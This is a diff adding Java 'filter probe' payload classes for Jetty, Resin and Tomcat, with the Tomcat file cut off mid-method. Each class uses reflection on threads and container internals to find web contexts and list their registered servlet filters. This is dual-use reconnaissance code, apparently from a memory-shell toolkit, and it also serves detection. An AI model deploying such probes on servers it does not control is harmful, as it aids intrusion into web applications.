+253
@@ -0,0 +1,253 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class JettyFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* jetty6 -> org.mortbay.jetty.webapp.WebAppContext
|
||||||
|
* jetty7+ -> org.eclipse.jetty.webapp.WebAppContext
|
||||||
|
* org.eclipse.jetty.ee8.webapp.WebAppContext
|
||||||
|
* org.eclipse.jetty.ee9.webapp.WebAppContext
|
||||||
|
* org.eclipse.jetty.ee10.webapp.WebAppContext
|
||||||
|
* org.eclipse.jetty.ee11.webapp.WebAppContext
|
||||||
|
*/
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
|
||||||
|
// servletHandler -> org.mortbay.jetty.servlet.ServletHandler(jetty 6)
|
||||||
|
// servletHandler -> org.eclipse.jetty.servlet.ServletHandler(jetty 7+)
|
||||||
|
Object servletHandler = getFieldValue(context, "_servletHandler");
|
||||||
|
|
||||||
|
Object[] filterMappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
||||||
|
if (filterMappings == null || filterMappings.length == 0) return Collections.emptyList();
|
||||||
|
|
||||||
|
Object[] filterHolders = (Object[]) invokeMethod(servletHandler, "getFilters");
|
||||||
|
|
||||||
|
for (Object mapping : filterMappings) {
|
||||||
|
// mapping -> org.mortbay.jetty.servlet.FilterMapping(jetty 6)
|
||||||
|
// mapping -> org.eclipse.jetty.servlet.FilterMapping(jetty 7+)
|
||||||
|
String name = (String) invokeMethod(mapping, "getFilterName");
|
||||||
|
if (!aggregatedData.containsKey(name)) {
|
||||||
|
String filterClass = "N/A";
|
||||||
|
if (filterHolders != null) {
|
||||||
|
for (Object holder : filterHolders) {
|
||||||
|
// hodler -> org.mortbay.jetty.servlet.FilterHolder(jetty 6)
|
||||||
|
// hodler -> org.eclipse.jetty.servlet.FilterHolder(jetty 7+)
|
||||||
|
String holderName = (String) invokeMethod(holder, "getName");
|
||||||
|
if (!name.equals(holderName)) continue;
|
||||||
|
String cls = (String) invokeMethod(holder, "getClassName");
|
||||||
|
if (cls == null) {
|
||||||
|
Object filterInstance = invokeMethod(holder, "getFilter");
|
||||||
|
if (filterInstance != null) {
|
||||||
|
cls = filterInstance.getClass().getName();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (cls != null) filterClass = cls;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", name);
|
||||||
|
info.put("filterClass", filterClass);
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(name, info);
|
||||||
|
}
|
||||||
|
|
||||||
|
Map<String, Object> info = aggregatedData.get(name);
|
||||||
|
|
||||||
|
String[] pathSpecs = (String[]) invokeMethod(mapping, "getPathSpecs");
|
||||||
|
if (pathSpecs != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(pathSpecs));
|
||||||
|
|
||||||
|
String[] servletNames = (String[]) invokeMethod(mapping, "getServletNames");
|
||||||
|
if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
// jetty 6
|
||||||
|
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||||
|
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
|
||||||
|
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||||
|
} else {
|
||||||
|
// jetty 7+
|
||||||
|
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||||
|
for (int i = 0; i < Array.getLength(table); i++) {
|
||||||
|
Object entry = Array.get(table, i);
|
||||||
|
if (entry != null) {
|
||||||
|
Object threadLocalValue = getFieldValue(entry, "value");
|
||||||
|
if (threadLocalValue != null) {
|
||||||
|
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
|
||||||
|
contexts.add(getFieldValue(threadLocalValue, "this$0"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) {
|
||||||
|
Class<?>[] paramClazz = null;
|
||||||
|
Object[] param = null;
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+234
@@ -0,0 +1,234 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class ResinFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> com.caucho.server.webapp.Application
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
// filterMapper -> com.caucho.server.dispatch.FilterMapper
|
||||||
|
Object filterMapper = getFieldValue(context, "_filterMapper");
|
||||||
|
// filterManager -> com.caucho.server.dispatch.FilterManager
|
||||||
|
Object filterManager = getFieldValue(context, "_filterManager");
|
||||||
|
if (filterMapper == null) return Collections.emptyList();
|
||||||
|
ArrayList<Object> filterMappings = (ArrayList<Object>) getFieldValue(filterMapper, "_filterMap");
|
||||||
|
for (Object filterMapping : filterMappings) {
|
||||||
|
// filterMapping -> com.caucho.server.dispatch.FilterMapping
|
||||||
|
String filterName = (String) invokeMethod(filterMapping, "getFilterName", null, null);
|
||||||
|
if (!aggregatedData.containsKey(filterName)) {
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", filterName);
|
||||||
|
String filterClassName = (String) invokeMethod(filterMapping, "getFilterClassName", null, null);
|
||||||
|
if (filterClassName == null) {
|
||||||
|
Class<?> filterClass = (Class<?>) invokeMethod(filterMapping, "getFilterClass", null, null);
|
||||||
|
if (filterClass != null) {
|
||||||
|
filterClassName = filterClass.getName();
|
||||||
|
} else {
|
||||||
|
Object filter = ((Map<String, Object>) getFieldValue(filterManager, "_instances")).get(filterName);
|
||||||
|
if (filter != null) {
|
||||||
|
filterClassName = filter.getClass().getName();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
info.put("filterClass", filterClassName != null ? filterClassName : "N/A");
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(filterName, info);
|
||||||
|
}
|
||||||
|
Map<String, Object> info = aggregatedData.get(filterName);
|
||||||
|
List<String> urlPatterns = new ArrayList<>();
|
||||||
|
String urlPattern = (String) invokeMethod(filterMapping, "getURLPattern", null, null);
|
||||||
|
if (urlPattern == null || urlPattern.isEmpty()) {
|
||||||
|
List<Object> matchList = (List<Object>) getFieldValue(filterMapping, "_matchList");
|
||||||
|
if (matchList != null && !matchList.isEmpty()) {
|
||||||
|
for (Object match : matchList) {
|
||||||
|
if (((Integer) getFieldValue(match, "_value")) == 1) {
|
||||||
|
urlPatterns.add(getFieldValue(match, "_regex").toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
urlPatterns.add(urlPattern);
|
||||||
|
}
|
||||||
|
if (!urlPatterns.isEmpty()) {
|
||||||
|
((Set<String>) info.get("urlPatterns")).addAll(urlPatterns);
|
||||||
|
}
|
||||||
|
List<String> servletNames = (List<String>) getFieldValue(filterMapping, "_servletNames");
|
||||||
|
if (servletNames != null && !servletNames.isEmpty()) {
|
||||||
|
((Set<String>) info.get("servletNames")).addAll(servletNames);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* com.caucho.server.webapp.Application
|
||||||
|
* /usr/local/resin3/lib/resin.jar
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
Class<?> servletInvocationClass = null;
|
||||||
|
try {
|
||||||
|
servletInvocationClass = thread.getContextClassLoader()
|
||||||
|
.loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||||
|
} catch (Exception e) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (servletInvocationClass != null) {
|
||||||
|
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||||
|
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||||
|
contexts.add(webApp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+250
@@ -0,0 +1,250 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class TomcatFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> org.apache.catalina.core.StandardContext
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps");
|
||||||
|
if (filterMaps == null || filterMaps.length == 0) return Collections.emptyList();
|
||||||
|
for (Object fm : filterMaps) {
|
||||||
|
// fm -> org.apache.tomcat.util.descriptor.web.FilterMap/org.apache.catalina.deploy.FilterMap
|
||||||
|
String name = (String) invokeMethod(fm, "getFilterName");
|
||||||
|
if (!aggregatedData.containsKey(name)) {
|
||||||
|
// filterDef -> org.apache.tomcat.util.descriptor.web.FilterDef/org.apache.catalina.deploy.FilterDef
|
||||||
|
Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{name});
|
||||||
|
String filterClass = (String) invokeMethod(filterDef, "getFilterClass");
|
||||||
|
if (filterClass == null) {
|
||||||
|
// filterConfig -> org.apache.catalina.core.ApplicationFilterConfig
|
||||||
|
Object filterConfig = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
|
||||||
|
Object filter = invokeMethod(filterConfig, "getFilter");
|
||||||
|
if (filter != null) filterClass = filter.getClass().getName();
|
||||||
|
}
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", name);
|
||||||
|
info.put("filterClass", filterClass);
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(name, info);
|
||||||
|
}
|
||||||
|
Map<String, Object> info = aggregatedData.get(name);
|
||||||
|
String[] urls = null;
|
||||||
|
try {
|
||||||
|
urls = (String[]) invokeMethod(fm, "getURLPatterns");
|
||||||
|
} catch (Exception e) {
|
||||||
|
// Tomcat 5 org.apache.catalina.deploy.FilterMap
|
||||||
|
String urlPattern = (String) invokeMethod(fm, "getURLPattern");
|
||||||
|
if (urlPattern != null) {
|
||||||
|
urls = new String[]{urlPattern};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (urls != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urls));
|
||||||
|
String[] servletNames = null;
|
||||||
|
try {
|
||||||
|
servletNames = (String[]) invokeMethod(fm, "getServletNames");
|
||||||
|
} catch (Exception e) {
|
||||||
|
// Tomcat 5 org.apache.catalina.deploy.FilterMap
|
||||||
|
String servletName = (String) invokeMethod(fm, "getServletName");
|
||||||
|
if (servletName != null) {
|
||||||
|
servletNames = new String[]{servletName};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
|
||||||
|
}
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext"), "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.apache.catalina.core.StandardContext
|
||||||
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
